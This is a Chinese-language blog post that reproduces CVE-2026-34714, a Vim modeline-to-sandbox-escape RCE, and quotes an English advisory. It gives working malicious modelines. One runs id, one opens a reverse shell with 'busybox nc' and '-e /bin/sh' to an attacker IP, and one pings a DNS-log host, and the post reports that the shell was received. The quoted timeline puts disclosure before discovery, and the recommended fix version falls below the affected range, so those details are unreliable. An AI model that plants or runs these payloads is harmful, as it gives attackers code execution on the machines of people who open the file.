vim rce 详细复现
Posted
一、漏洞原理及成因
CVE-2026-34714 是一个由两个独立安全漏洞串联形成的高危漏洞链,允许攻击者通过构造恶意文件,在用户用Vim打开该文件时,立即以受害者权限执行任意系统命令
这个漏洞的核心在于modeline功能。modeline是vim的一项特性,允许在文件的首行或尾行设置配置指令的特性,这原本是为了方便项目配置,但不幸成为了攻击入口
第一环:Modeline安全检查被绕过
这是攻击者能够将恶意代码注入Vim的第一步。
- 根本原因:Vim有一个
tabpanel选项,用于配置标签页的显示内容。在受影响的版本中,该选项的定义缺少了一个关键的P_MLE安全标志。 - 后果:
P_MLE标志的作用是,要求只有在用户明确开启了modelineexpr安全设置后,才能解析Modeline中的表达式。由于tabpanel缺少这个标志,Vim在解析恶意文件的Modeline时,不会触发安全检查的代码,而会错误地认为设置该选项是安全的,并允许执行其中的%{...}格式表达式,从而绕过了第一道安全检查
第二环:利用 autocmd_add 实现沙箱逃逸
尽管Vim在评估来自Modeline的表达式时,会将其放入一个功能受限的“沙箱”中以防止危险操作,但这个沙箱本身存在漏洞。
- 根本原因:
autocmd_add()这个函数缺少check_secure()安全检查。通常,Vim的命令(如:autocmd)在沙箱中是无法注册自动命令的,但autocmd_add()函数接口却遗漏了这一限制。 - 后果:攻击者注入的恶意代码可以在沙箱内调用
autocmd_add(),成功注册一个自动命令。这个自动命令会等待沙箱退出后才执行,从而完成了漂亮的“沙箱逃逸”。当沙箱退出后,这个被注册的自动命令就会以当前用户的完整权限被触发,执行任意操作系统命令
漏洞成因流程

二、漏洞复现过程
这里以linux为例子复现
1、复现前提条件
- 在终端输入命令,检查版本(需要在 9.1.1391 - 9.2.0271 之间)
vim --version | head -1

- 检查是否有 tabpanel 功能
vim --version | grep -i tabpanel

应显示 +tabpanel
- 检查编译模式
vim --version | grep "Features"

应包含 huge
- 检查 modeline 是否开启(这一步是最重要的)
使用vim进入编辑器模式中,然后同时按下**shift+:**键
输入
set modeline?

回车确认是否为启用状态

我这里设置了永久启用状态
如果显示的是nomodeline,那就说明未启用,因此我们需要进行启用,并且设置为永久启用
设置永久启用步骤
编辑vim配置文件
vim ~/.vimrc
添加一行内容
set modeline
最后保存并退出,再次重新检查modeline是否为启用状态
- 检查是否为 ROOT权限,这个漏洞不能是root用户,只能是普通用户权限
whoami

2、复现步骤
准备好poc文件
poc下载地址
https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
# Vim tabpanel modeline RCE affects Vim < 9.2.0272
## Summary
A two-bug chain in Vim allows arbitrary command execution when a user opens a crafted file. The `tabpanel` option can be set from a modeline without requiring `modelineexpr`, and its expression is later evaluated in the sandbox. That sandbox can be escaped because `autocmd_add()` does not check whether it is running in a secure context, allowing deferred execution outside the sandbox.
---
## Technical Details
The issue depends on two flaws:
1. **`tabpanel` is missing `P_MLE`**
Unlike `statusline` and `tabline`, `tabpanel` is not marked with the `P_MLE` flag. This allows a modeline to inject `%{...}` expressions even when `modelineexpr` is disabled.
2. **`autocmd_add()` lacks `check_secure()`**
Vim evaluates insecure `tabpanel` expressions in the sandbox, but `autocmd_add()` can still register autocommands there. Those autocommands execute later, after the sandbox exits.
A modeline can therefore:
- force the tab panel visible with `showtabpanel=2`
- inject a `tabpanel` expression
- call `autocmd_add()` inside the sandbox
- register a `SafeStateAgain` autocommand
- execute an arbitrary shell command once Vim returns to normal context
This yields code execution as the user running Vim.
---
## Steps to Reproduce
This advisory itself is a PoC:
```shell
vim -version
# VIM - Vi IMproved 9.2 (2026 Feb 14, compiled Mar 25 2026 22:04:13)
wget https://raw.githubusercontent.com/califio/publications/refs/heads/main/MADBugs/vim-vs-emacs-vs-claude/vim.md
vim vim.md
cat /tmp/calif-vim-rce-poc
```
# Recommendations
Upgrade to Vim v9.2.0172.
## Credits
Hung Nguyen (movrment) from Calif.io
# Disclosure Timeline
- **2026-03-28:** Vulnerabilities discovered using Claude
- **2026-03-29:** Reported to vim-security@googlegroups.com
- **2026-03-30:** Fix released https://github.com/vim/vim/security/advisories/GHSA-2gmj-rpqf-pxvh
- **2026-03-03:** Public disclosure made
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!id>/tmp/calif-vim-rce-poc','once'\:1}])%}: */

在文件末尾行,可以看到攻击者构造好的恶意命令,即执行id命令,并且将结果写入到/tmp/calif-vim-rce-poc文件中
保存好之后,我们使用vim命令打开该恶意文件
vim vim_rce_poc.md

可以看到,成功执行任意命令
若需要进一步利用可以修改poc为下面这种指令,注意:命令包含特殊字符需要进行转义
执行命令反弹poc
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!busybox\ nc\ 106.xx.xx.xxx\ 6666\ -e\ /bin/sh','once'\:1}])%}: */
这里的BusyBox 是一个集成了很多 Linux 常用命令的工具集合
通过 busybox xxx 可以调用其中的命令(例如 busybox nc)


接下来看看攻击者服务器

可以看到,成功收到反弹的shell
使用ping命令请求dnslog
/* vim: set showtabpanel=2 tabpanel=%{%autocmd_add([{'event'\:'SafeStateAgain','pattern'\:'*','cmd'\:'!busybox\ ping\ -c\ 5\ wds8b0z5.requestrepo.com','once'\:1}])%}: */


我们看看dnslog状态
